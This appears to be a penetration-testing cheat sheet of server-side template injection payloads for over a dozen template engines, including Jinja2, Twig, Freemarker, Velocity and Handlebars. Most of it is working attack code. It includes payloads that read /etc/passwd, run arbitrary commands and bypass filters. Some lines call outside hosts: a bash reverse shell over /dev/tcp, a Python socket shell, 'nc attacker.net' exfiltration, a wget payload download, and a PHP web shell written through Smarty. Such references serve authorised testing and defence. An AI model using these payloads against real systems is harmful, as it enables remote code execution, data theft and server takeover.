19 KiB
Templates Injections
Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages
Summary
- Tools
- Methodology
- Ruby
- Java
- Expression Language EL
- Twig
- Smarty
- Freemarker
- Pebble
- Jade / Codepen
- Velocity
- Mako
- Jinja2
- Jinjava
- Handlebars
- ASP.NET Razor
- References
Tools
Recommended tool: Tplmap e.g:
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Methodology
Ruby
Ruby - Basic injections
ERB:
<%= 7 * 7 %>
Slim:
#{ 7 * 7 }
Ruby - Retrieve /etc/passwd
<%= File.open('/etc/passwd').read %>
Ruby - List files and directories
<%= Dir.entries('/') %>
Ruby - Code execution
Execute code using SSTI for ERB engine.
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Execute code using SSTI for Slim engine.
#{ %x|env| }
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
Java - Retrieve the system’s environment variables
${T(java.lang.System).getenv()}
Java - Retrieve /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Expression Language EL
Expression Language EL - Basic injection
${1+1}
#{1+1}
Expression Language EL - Code Execution
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
// Method using Runtime
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
Twig
Twig - Basic injection
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{app.request.server.all|join(',')}}
Twig - Template format
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Twig - Arbitrary File Reading
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
Twig - Code execution
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
Smarty
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Freemarker
You can try your payloads at https://try.freemarker.apache.org
Freemarker - Basic injection
The template can be ${3*3}
or the legacy #{3*3}
Freemarker - Code execution
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
Pebble
Pebble - Basic injection
{{ someString.toUPPERCASE() }}
Pebble - Code execution
Old version of Pebble ( < version 3.0.9): {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
.
New version of Pebble :
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jade / Codepen
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Velocity
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
Mako
<%
import os
x=os.popen('id').read()
%>
${x}
Jinja2
Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
Jinja2 - Basic injection
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}
Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on Flask application.
Jinja2 - Template format
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
Jinja2 - Debug Statement
If the Debug Extension is enabled, a {% debug %}
tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.
<pre>{% debug %}</pre>
Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
Jinja2 - Dump all used classes
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
Jinja2 - Dump all config variables
{% for key, value in config.iteritems() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
Jinja2 - Read remote file
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
Jinja2 - Write into remote file
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
Jinja2 - Remote Code Execution
Listen for connection
nv -lnvp 8000
Exploit the SSTI by calling subprocess.Popen.
⚠️ the number 396 will vary depending of the application.
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
Exploit the SSTI by calling Popen without guessing the offset
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113) In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
Exploit the SSTI by writing an evil config file.
# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Jinja2 - Filter bypass
request.__class__
request["__class__"]
Bypassing _
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
Bypassing [
and ]
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
Bypassing |join
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by https://twitter.com/SecGus:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
Jinjava
Jinjava - Basic injection
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava is an open source project developed by Hubspot, available at https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Fixed by https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Handlebars
Handlebars - Command Execution
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('ls -la');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
ASP.NET Razor
ASP.NET Razor - Basic injection
@(1+2)
ASP.NET Razor - Command execution
@{
// C# code
}
References
- https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/
- Yahoo! RCE via Spring Engine SSTI
- Ruby ERB Template injection - TrustedSec
- Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)
- PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax
- VelocityServlet Expression Language injection
- Cheatsheet - Flask & Jinja2 SSTI - Sep 3, 2018 • By phosphore
- RITSEC CTF 2018 WriteUp (Web) - Aj Dumanhug
- RCE in Hubspot with EL injection in HubL - @fyoorer
- Jinja2 template injection filter bypasses - @gehaxelt, @0daywork
- Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018
- EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018
- Server Side Template Injection – on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019
- Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - 15 APR 2020
- Expression Language injection - PortSwigger
- Bean Stalking: Growing Java beans into RCE - July 7, 2020 - Github Security Lab
- Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - 29/01/2019
- Handlebars template injection and RCE in a Shopify app
- Lab: Server-side template injection in an unknown language with a documented exploit